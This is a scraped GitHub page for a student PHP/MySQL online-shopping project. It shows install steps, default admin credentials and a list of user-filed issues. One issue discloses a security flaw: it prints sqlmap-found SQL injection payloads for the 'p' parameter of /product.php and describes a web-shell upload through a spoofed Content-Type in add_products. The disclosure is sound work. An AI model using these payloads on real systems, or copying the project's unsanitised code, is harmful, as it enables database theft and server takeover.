puneethreddyhc/online-shopping-system

demo

Updated project with extra Features like WISHLIST, List Orders, add Reviews, updated routing, resolved search bug is available for Premium

Any DBMS OR WEB TECHNOLOGIES (php, django, angular or react) or MachineLearning projects with installation support and code explaination for Premium contact phone: [phone] gmail: [email protected] or visit : http://www.notes4free.in/services.html

online-shopping-with-advanced-admin-page

Updated version

online shopping system is a [DBMS project] with both admin and user layouts.

Installation

1. Install XAMPP or WAMPP.

2. Open XAMPP Control panal and start [apache] and [mysql] .

3. Download project from github(https://github.com/PuneethReddyHC/online-shopping-system-with-advanced-admin-page.git)
   OR follow gitbash commands

   i>cd C:\xampp\htdocs\

   ii>git clone https://github.com/PuneethReddyHC/online-shopping-system-with-advanced-admin-page.git

4. extract files in C:\xampp\htdocs.

5. open link localhost/phpmyadmin

6. click on new at side navbar.

7. give a database name as (onlineshop) hit on create button.

8. after creating database name click on import.

9. browse the file in directory[online-shopping-system-with-advanced-admin-page/database/onlineshop.sql].

10. after importing successfully.

11. open any browser and type http://localhost/online-shopping-system-with-advanced-admin-page-master.

12. first register and then login

13. admin login details Email=[email protected] or username = admin and Password=123456789.

If you like my project

Bye me Cup of coffee

Google pay or phonepay number 9535688928

visit my other repository with different admin pages with below link

https://github.com/PuneethReddyHC/online-shopping-system-advanced

https://github.com/PuneethReddyHC/event-management

If you like my project hit a star button

Screenshots

Contributing

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Please make sure to update tests as appropriate.

online-shopping-system's Issues

Harish final year project

SQL Injection & affected by Arbitrary File Upload

SQL Injection

The online-shopping-system is vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks.

The p parameter on the /product.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database.
Poc's
SQLMAP PAYLOADS
p parameter on the /product.php page
pocs

GET parameter 'p' is vulnerable. Do you want to keep testing the others (if any)
? [y/N]

sqlmap identified the following injection point(s) with a total of 58 HTTP(s) re
quests:
---
Parameter: p (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=72 AND 2037=2037

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (FLOOR)
    Payload: p=72 AND (SELECT 1432 FROM(SELECT COUNT(*),CONCAT(0x7178707671,(SEL
ECT (ELT(1432=1432,1))),0x716b6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.
PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=72 AND (SELECT 2289 FROM (SELECT(SLEEP(5)))LMdY)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: p=72 UNION ALL SELECT CONCAT(0x7178707671,0x4b71516d647848537741636
571634e5a416a6a7a716367744d47654778554952467778625161716f,0x716b6a6a71),NULL,NUL
L,NULL,NULL,NULL,NULL,NULL-- -
---
[20:26:43] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.15.11, PHP, PHP 5.5.9
back-end DBMS: MySQL >= 5.0

affected by Arbitrary File Upload

affected by Arbitrary File Upload at add_products line 22,Only verified Content-Type，so ,can modify Content-Type:

image/jpeg

filepath is ../product_images/1635249699_shell.php

Random Page after Login

I don't know why but when i login into my account i am redirected to homepage but initally it shows "2023" on the page and when we refresh it, it brings back to orignal working homepage. i also searched in all directories for this bug but couldn't find it. check this sir and reply me when you are free.

Admin Login password not correct

Please change admin password on Readme file. 123456789 not 123456789.

where to open Admin Panel?

i can;t open admin panel, please help
whenever I login from these
email - [email protected]
password - 123456789
admin panel doesnt open up

change currency

where do I change the currency from usd to my preferred one?

zip is not extracting

This message is display while extracting the project file, "The archive is corrupt".

request

Can i get Synopsis for online -shopping -system .

error while server started

Online

delete a product

I tried but admin can not delete any products.

while opening the link http://localhost/online-shopping-system-with-advanced-admin-page this error is shown

Object not found!
The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again.

If you think this is a server error, please contact the webmaster.

Error 404
localhost
Apache/2.4.35 (Win32) OpenSSL/1.1.0i PHP/7.2.11

Error during Login

When we enter a wrong password / email during login. It displays this error messege:-

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\Test1\login.php on line 17

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\Test1\login.php on line 18
Please Register before login..!

when fill details of checkout like address and debit card details there not show thank you page and also not order entry found in admin panel

Link is not Opening

Hello to whom may it concern your provided link is not opening..

Link not opening

http://localhost/online-shopping-system-with-advanced-admin-page-master.
The following link is not opening even after successful importing project.

admin login

from where admin will login ??????????